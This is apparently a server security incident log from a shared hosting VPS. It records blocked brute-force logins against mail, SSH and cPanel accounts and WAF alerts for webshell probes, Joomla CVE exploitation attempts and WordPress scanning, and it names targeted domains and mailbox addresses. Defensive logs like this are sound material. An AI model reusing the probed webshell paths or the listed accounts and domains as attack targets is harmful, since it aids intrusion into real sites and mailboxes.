# incident

plugin: ossec
rule: 12838
name: Crontab cleanup success
description:
Jul 05 14:11:02 vps.ddgalaxy.in im360ar: Active Response. Crontab cleanup successful for user ddgalaxy


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  5 14:11:17 vps dovecot[41305]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 141.98.10.22
country_id: 597427
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[141.98.10.22] [Authentication Database]=[mail] [Username]=[ahsbahrain] (5/5 failures) (blocked until [Wed Jun 17 00:13:47 2026 UTC/Wed Jun 17 05:43:47 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 192.253.248.37
country_id: 130758
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[192.253.248.37] [Authentication Database]=[mail] [Username]=[webmaster@metrodigitals.com] (5/5 failures) (blocked until [Mon May 11 23:42:18 2026 UTC/Tue May 12 05:12:18 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 166.0.106.192
country_id: 6251999
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[166.0.106.192] [Authentication Database]=[mail] [Username]=[info@ogocindia.com] (5/5 failures) (blocked until [Wed May 13 18:21:32 2026 UTC/Wed May 13 23:51:32 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 185.169.4.189
country_id: 2635167
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[185.169.4.189] [Authentication Database]=[mail] [Username]=[corporate] (5/5 failures) (blocked until [Fri Jun 26 22:25:24 2026 UTC/Sat Jun 27 03:55:24 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 87.106.141.44
country_id: 2921044
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[87.106.141.44] [Authentication Database]=[mail] [Username]=[info@idealloanz.com.au] (5/5 failures) (blocked until [Tue Jun 16 21:50:55 2026 UTC/Wed Jun 17 03:20:55 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 141.98.10.91
country_id: 597427
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[141.98.10.91] [Authentication Database]=[mail] [Username]=[deepak.das@ibmcglobal.com] (5/5 failures) (blocked until [Wed Jun 24 22:24:26 2026 UTC/Thu Jun 25 03:54:26 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 91.92.241.106
country_id: 2750405
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[91.92.241.106] [Authentication Database]=[mail] [Username]=[corporate] (5/5 failures) (blocked until [Fri Jun 26 17:58:12 2026 UTC/Fri Jun 26 23:28:12 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 213.177.179.12
country_id: 1668284
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[213.177.179.12] [Authentication Database]=[mail] [Username]=[news@metrodigitals.com] (356/30 failures) (blocked until [Sun May 10 13:50:49 2026 UTC/Sun May 10 19:20:49 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 140.233.190.114
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[140.233.190.114] [Authentication Database]=[mail] [Username]=[ahsbahrain@ahsmarine.com] (5/5 failures) (blocked until [Mon May 18 15:45:24 2026 UTC/Mon May 18 21:15:24 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 45.43.57.51
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[45.43.57.51] [Authentication Database]=[mail] [Username]=[uaeindiab2b@ibmcglobal.com] (5/5 failures) (blocked until [Thu May 21 13:04:59 2026 UTC/Thu May 21 18:34:59 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 217.154.94.107
country_id: 2921044
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[217.154.94.107] [Authentication Database]=[mail] [Username]=[mail@combinations.in] (5/5 failures) (blocked until [Fri Jun 19 15:01:36 2026 UTC/Fri Jun 19 20:31:36 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 87.106.75.222
country_id: 2921044
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[87.106.75.222] [Authentication Database]=[mail] [Username]=[info@interceptorglobal.in] (5/5 failures) (blocked until [Sun Jun 21 05:05:42 2026 UTC/Sun Jun 21 10:35:42 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 87.106.33.230
country_id: 2921044
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[87.106.33.230] [Authentication Database]=[mail] [Username]=[info@interceptorglobal.in] (5/5 failures) (blocked until [Sun Jun 21 12:39:45 2026 UTC/Sun Jun 21 18:09:45 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 51.255.200.244
country_id: 3017382
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[51.255.200.244] [Remote Port]=[49752] [Authentication Database]=[mail] [Username]=[contact@kallanigroup.com] (30/30 failures) (blocked until [Sat May 16 08:03:35 2026 UTC/Sat May 16 13:33:35 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 45.84.120.3
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[45.84.120.3] [Authentication Database]=[mail] [Username]=[info] (5/5 failures) (blocked until [Sun May 17 03:50:11 2026 UTC/Sun May 17 09:20:11 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 178.16.52.71
country_id: 2921044
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[178.16.52.71] [Authentication Database]=[mail] [Username]=[cs@ibmcglobal.com] (5/5 failures) (blocked until [Sat May 23 09:33:15 2026 UTC/Sat May 23 15:03:15 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 80.94.92.102
country_id: 798549
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[80.94.92.102] [Authentication Database]=[mail] [Username]=[sales@alnayza.com] (5/5 failures) (blocked until [Fri Jun 12 14:32:48 2026 UTC/Fri Jun 12 20:02:48 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 192.253.248.144
country_id: 130758
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[192.253.248.144] [Authentication Database]=[mail] [Username]=[ftpuser@ibmcglobal.com] (5/5 failures) (blocked until [Sun May 10 22:32:15 2026 UTC/Mon May 11 04:02:15 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 38.72.131.163
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[cpaneld] [Local IP Address]=[192.168.74.189] [Local Port]=[2083] [Remote IP Address]=[38.72.131.163] [Remote Port]=[16894] [Authentication Database]=[system] [Username]=[jaashsup] (5/5 failures) (blocked until [Sat May 16 05:06:38 2026 UTC/Sat May 16 10:36:38 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 203.150.37.5
country_id: 1605651
description:
Login Blocked: IP reached maximum auth failures [Service]=[cpaneld] [Local IP Address]=[192.168.74.189] [Local Port]=[2083] [Remote IP Address]=[203.150.37.5] [Remote Port]=[53680] [Authentication Database]=[system] [Username]=[globalgroupoman_] (5/5 failures) (blocked until [Sun May 24 00:55:19 2026 UTC/Sun May 24 06:25:19 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 130.12.181.12
country_id: 3190538
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[130.12.181.12] [Authentication Database]=[mail] [Username]=[info@ogocindia.com] (5/5 failures) (blocked until [Mon Jun 15 18:09:21 2026 UTC/Mon Jun 15 23:39:21 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 158.94.208.56
country_id: 2921044
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[158.94.208.56] [Authentication Database]=[mail] [Username]=[uaeindiab2b@ibmcglobal.com] (5/5 failures) (blocked until [Thu Jun 18 17:28:20 2026 UTC/Thu Jun 18 22:58:20 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 31.220.89.136
country_id: 3017382
description:
Login Blocked: IP reached maximum auth failures [Service]=[whostmgrd] [Local IP Address]=[192.168.74.189] [Local Port]=[2087] [Remote IP Address]=[31.220.89.136] [Remote Port]=[35354] [Authentication Database]=[system] [Username]=[root] (5/5 failures) (blocked until [Sat May  9 01:47:54 2026 UTC/Sat May  9 07:17:54 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 192.253.248.127
country_id: 130758
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[192.253.248.127] [Remote Port]=[57208] [Authentication Database]=[mail] [Username]=[admin@fefkadirectorsunion.com] (30/30 failures) (blocked until [Thu May 14 01:07:56 2026 UTC/Thu May 14 06:37:56 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 165.154.209.121
country_id: 2635167
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[165.154.209.121] [Authentication Database]=[mail] [Username]=[sadiq] (5/5 failures) (blocked until [Thu May 14 19:38:21 2026 UTC/Fri May 15 01:08:21 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 185.93.89.48
country_id: 130758
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[185.93.89.48] [Remote Port]=[47580] [Authentication Database]=[mail] [Username]=[admin@gsmex.global] (30/30 failures) (blocked until [Thu May 14 01:07:53 2026 UTC/Thu May 14 06:37:53 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 189.90.138.149
country_id: 3469034
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[189.90.138.149] [Remote Port]=[46500] [Authentication Database]=[mail] [Username]=[postmaster@cochinbigbandshow.com] (30/30 failures) (blocked until [Fri Jun 12 07:58:11 2026 UTC/Fri Jun 12 13:28:11 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 4.216.217.44
country_id: 1861060
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[sshd] [Remote IP Address]=[4.216.217.44] [Authentication Database]=[system] [Username]=[root] (559/30 failures) (blocked until [Sat May  9 18:39:31 2026 UTC/Sun May 10 00:09:31 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 192.253.248.126
country_id: 130758
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[192.253.248.126] [Remote Port]=[47370] [Authentication Database]=[mail] [Username]=[sales@cochinbigbandshow.com] (30/30 failures) (blocked until [Thu May 14 00:57:45 2026 UTC/Thu May 14 06:27:45 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 192.253.248.132
country_id: 130758
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[192.253.248.132] [Remote Port]=[39270] [Authentication Database]=[mail] [Username]=[support@elegantautomotives.com] (30/30 failures) (blocked until [Thu May 14 01:03:12 2026 UTC/Thu May 14 06:33:12 2026 LOCAL])


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 109.229.178.176
country_id: 1522867
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Local Port]=[993] [Remote IP Address]=[109.229.178.176] [Remote Port]=[43886] [Authentication Database]=[mail] [Username]=[no-reply@kallanigroup.com] (30/30 failures) (blocked until [Fri Jun 12 07:44:02 2026 UTC/Fri Jun 12 13:14:02 2026 LOCAL])


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  5 14:11:57 vps dovecot[54827]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.148.106.182
country_id: 1835841
description:
Jul  5 14:12:03 vps sshd[55025]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.148.106.182


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 58.151.234.178
country_id: 1835841
description:
Jul  5 14:11:45 vps sshd[54455]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.151.234.178


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.151.234.178
country_id: 1835841
description:
Jul  5 14:11:45 vps sshd[54455]: pam_imunify(sshd:auth): [IM360_RBL] The IP 58.151.234.178 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 49.254.0.82
country_id: 1835841
description:
Jul  5 14:12:08 vps sshd[55220]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=49.254.0.82


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 211.197.62.36
country_id: 1835841
description:
Jul  5 14:11:46 vps sshd[54493]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=211.197.62.36


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.120.20.244
country_id: 357994
description:
2026-07-05 14:12:34 dovecot_login authenticator failed for H=([218.156.8.97]) [197.120.20.244]:45284: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.116.19.117
country_id: 1835841
description:
2026-07-05 14:12:47 dovecot_login authenticator failed for H=([36.153.189.66]) [222.116.19.117]:37153: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 9703
name: Dovecot is Starting Up.
description:
Jul  5 14:14:19 vps dovecot[56460]: master: Dovecot v2.4.2 (0962ed2104) starting up for lmtp, imap, pop3, sieve (core dumps disabled)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 49.254.0.82
country_id: 1835841
description:
Jul  5 14:12:11 vps sshd[55220]: Failed password for invalid user dangdub from 49.254.0.82 port 54787 ssh2


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-05 14:13:35 dovecot_login authenticator failed for H=(180.151.254.218.reverse.spectranet.in) [207.254.40.89]:53193: 535 Incorrect authentication data (set_id=hr@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-05 14:16:08 dovecot_login authenticator failed for H=(Dinamic-Tigo186-97-203-163.tigo.com.co) [175.200.217.128]:46540: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.62.12
country_id: 1880251
domain: www.metrodigitals.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)||RSV:8.25||T:APACHE||


plugin: ossec
rule: 12838
name: Crontab cleanup success
description:
Jul 05 14:20:02 vps.ddgalaxy.in im360ar: Active Response. Crontab cleanup successful for user yukticlick


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.49
country_id: 1668284
description:
2026-07-05 14:20:24 dovecot_login authenticator failed for H=(static.170.209.108.65.clients.your-server.de) [101.13.5.49]:58198: 535 Incorrect authentication data (set_id=webmaster@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.226.27.227
country_id: 294640
description:
2026-07-05 14:21:23 dovecot_plain authenticator failed for H=(hameria) [109.226.27.227]:59608: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-05 14:22:01 dovecot_login authenticator failed for H=([112.162.71.248]) [210.118.224.138]:59680: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77209353
abuser: 1.54.149.212
country_id: 1562822
domain: www.globalgroupoman.com
name:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)

description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.219.164.250
country_id: 1269750
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/fungsi.php||SC:/home/idealloanzcom/public_html/uploads||


plugin: modsec
rule: 77102143
abuser: 103.130.18.2
country_id: 1643084
domain: globalgroupoman.com
name:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)

description:
IM360 WAF: Unauthenticated front-end JCE editor-profile import in Joomla Content Editor before 2.9.99.5 (CVE-2026-48907)||MVN:REQUEST_FILENAME||MV:/index.php||RF:/index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.85
country_id: 1733045
description:
2026-07-05 14:23:33 dovecot_login authenticator failed for H=([107.181.161.85]) [49.124.151.85]:41120: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-05 14:23:48 dovecot_login authenticator failed for H=(149.216.209.222.broad.cd.sc.dynamic.163data.com.cn) [182.95.176.122]:47092: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.26
country_id: 130758
description:
2026-07-05 14:27:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.26]:15295: 535 Incorrect authentication data (set_id=dbrown)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.45.128.45
country_id: 3573591
description:
2026-07-05 14:29:21 dovecot_login authenticator failed for H=186-45-128-45.dynamic.tstt.net.tt (102-220-158-10.simbafiber.co.zm) [186.45.128.45]:43972: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-05 14:28:41 dovecot_login authenticator failed for H=([110.14.192.20]) [14.51.12.142]:42710: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.141.40.50
country_id: 2260494
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/home-theater-products/v5010i-4k-rgb-laser-tv-projector HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 207.175.35.60
country_id: 2802361
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.25||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.223.135.162
country_id: 2661886
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/ahsmarine/public_html/uploads||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 205.185.127.84
country_id: 6252001
domain: vrishenterprises.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icospbvwh/fonts/nayvpvzw.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-05 14:34:19 dovecot_login authenticator failed for H=([166.145.160.128]) [206.62.136.130]:56932: 535 Incorrect authentication data (set_id=info@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.39
country_id: 1668284
description:
2026-07-05 14:34:28 dovecot_login authenticator failed for H=([49.124.153.32]) [101.13.5.39]:50056: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-05 14:35:09 dovecot_login authenticator failed for H=([192.111.131.4]) [182.95.189.66]:45064: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.26.25
country_id: 1282988
description:
2026-07-05 14:35:09 dovecot_login authenticator failed for H=([182.79.151.121]) [103.156.26.25]:52298: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.45.238
country_id: 1269750
description:
2026-07-05 14:36:14 dovecot_login authenticator failed for H=([218.149.235.152]) [122.176.45.238]:49878: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-05 14:36:58 dovecot_login authenticator failed for H=([98.170.57.236]) [125.130.102.172]:44606: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77281327
abuser: 129.212.226.92
country_id: 1880251
domain: globalgroupoman.com
name:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)

description:
IM360 WAF: Unauthenticated file write/delete via Helix3 com_ajax handler for Joomla before 3.1.1 (CVE-2026-49049)||MVN:ARGS:data[action]||MV:save||RF:/index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77281328
name: IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)
abuser: 129.212.226.92
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Helix3 com_ajax handler request for Joomla - tracking (CVE-2026-49049)||MVN:ARGS:plugin||MV:helix3||RF:/index.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.24.86.64
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/combinations/public_html/wp-includes||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.86.64
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/combinations/public_html/wp-content||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 20.24.86.64
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.25||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 20.24.86.64
country_id: 1819730
domain: combinations.in
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.124
country_id: 1036973
description:
2026-07-05 14:43:52 dovecot_login authenticator failed for H=(110-25-104-249.adsl.fetnet.net) [196.28.226.124]:44067: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.100.92
country_id: 1835841
description:
2026-07-05 14:44:27 dovecot_login authenticator failed for H=([36.135.100.47]) [211.43.100.92]:49646: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.70.20.223
country_id: 1819730
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 13.70.20.223
country_id: 1819730
domain: ibmcglobal.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.25||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-05 14:44:52 dovecot_login authenticator failed for H=(111-70-32-10.emome-ip.hinet.net) [112.160.57.196]:47360: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.187.78.189
country_id: 1269750
description:
2026-07-05 14:45:33 dovecot_login authenticator failed for H=([49.124.153.26]) [103.187.78.189]:34172: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.70.20.223
country_id: 1819730
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/assets/images/doc.php||SC:/home/ibmcglobal/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-05 14:45:46 dovecot_login authenticator failed for H=([119.146.91.181]) [103.142.184.55]:59876: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.152.57.60
country_id: 2510769
description:
2026-07-05 14:46:35 dovecot_login authenticator failed for H=([220.94.124.233]) [85.152.57.60]:53441: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 173.44.213.127
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://ace90bet.bet\">\xd8\xa7\xd9\xbe\xd9\x84\xdb\x8c\xda\xa9\xdb\x8c\xd8\xb4\xd9\x86 \xd8\xac\xd8\xa7\xd9\x85 \xd8\xac\xd9\x87\xd8\xa7\xd9\x86\xdb\x8c</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350169
name: IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)
abuser: 172.216.169.231
country_id: 1880251
domain: elegantautomotives.com
description:
IM360 WAF: Improper access check in webservice endpoints in Joomla! (CVE-2023-23752)||MV:true||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.219.164.250
country_id: 1269750
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/fungsi.php||SC:/home/stcinemas/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.100.86.54
country_id: 2589581
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es30?Itemid=101&catid=18 HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
